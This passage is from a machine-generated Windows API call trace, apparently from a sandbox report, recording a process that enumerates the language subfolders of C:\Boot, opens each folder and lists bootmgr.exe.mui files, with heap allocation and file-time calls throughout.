dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.539] GetLastError () returned 0x12 [0039.539] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f2e0) returned 1 [0039.539] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0039.539] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f368) returned 1 [0039.539] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.539] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0039.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.539] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ko-KR" (normalized: "c:\\boot\\ko-kr"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0039.569] CreateFileW (lpFileName="C:\\Boot\\ko-KR" (normalized: "c:\\boot\\ko-kr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0039.569] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0039.569] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9d9690 [0039.569] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d9690, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x9d9690, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0039.569] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d9690) returned 1 [0039.569] NtClose (Handle=0x15c) returned 0x0 [0039.569] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.569] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.569] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f368 [0039.569] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f2e0 [0039.569] FindFirstFileExW (in: lpFileName="C:\\Boot\\ko-KR\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f40 [0039.570] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.570] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.570] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.570] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.570] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.570] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.570] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.570] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d4dc8 [0039.570] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9eb7c8 [0039.570] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.570] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.570] GetLastError () returned 0x12 [0039.570] FindFirstFileExW (in: lpFileName="C:\\Boot\\ko-KR\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f80 [0039.570] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0039.570] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.570] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.570] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.570] GetLastError () returned 0x12 [0039.570] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f2e0) returned 1 [0039.570] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0039.570] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f368) returned 1 [0039.570] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.570] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0039.571] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0039.571] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.571] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nb-NO" (normalized: "c:\\boot\\nb-no"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0039.571] CreateFileW (lpFileName="C:\\Boot\\nb-NO" (normalized: "c:\\boot\\nb-no"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0039.571] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0039.571] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9d9690 [0039.571] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d9690, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x9d9690, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0039.571] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d9690) returned 1 [0039.571] NtClose (Handle=0x124) returned 0x0 [0039.571] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.571] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.571] FindFirstFileExW (in: lpFileName="C:\\Boot\\nb-NO\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f80 [0039.571] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.571] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.572] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.572] GetLastError () returned 0x12 [0039.572] FindFirstFileExW (in: lpFileName="C:\\Boot\\nb-NO\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f40 [0039.572] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0039.572] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.572] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.572] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.572] GetLastError () returned 0x12 [0039.572] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f2e0) returned 1 [0039.572] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0039.572] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f368) returned 1 [0039.572] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.572] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0039.572] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nl-NL" (normalized: "c:\\boot\\nl-nl"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0039.591] CreateFileW (lpFileName="C:\\Boot\\nl-NL" (normalized: "c:\\boot\\nl-nl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0039.591] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0039.591] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9d9690 [0039.592] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d9690, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x9d9690, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0039.592] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d9690) returned 1 [0039.592] NtClose (Handle=0x15c) returned 0x0 [0039.592] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.592] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.592] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f368 [0039.592] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f2e0 [0039.592] FindFirstFileExW (in: lpFileName="C:\\Boot\\nl-NL\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f40 [0039.592] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.592] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.592] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.592] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.592] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.592] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.592] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.592] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d4e08 [0039.592] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9eb8d8 [0039.592] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.592] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.592] GetLastError () returned 0x12 [0039.592] FindFirstFileExW (in: lpFileName="C:\\Boot\\nl-NL\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f80 [0039.592] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0039.592] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.592] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.593] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.593] GetLastError () returned 0x12 [0039.593] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f2e0) returned 1 [0039.593] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0039.593] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f368) returned 1 [0039.593] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.593] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0039.593] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.593] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pl-PL" (normalized: "c:\\boot\\pl-pl"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0039.593] CreateFileW (lpFileName="C:\\Boot\\pl-PL" (normalized: "c:\\boot\\pl-pl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0039.593] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0039.593] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9d9690 [0039.593] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d9690, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x9d9690, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0039.593] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d9690) returned 1 [0039.593] NtClose (Handle=0x124) returned 0x0 [0039.593] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.593] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f368 [0039.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f2e0 [0039.594] FindFirstFileExW (in: lpFileName="C:\\Boot\\pl-PL\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f80 [0039.594] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.594] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, 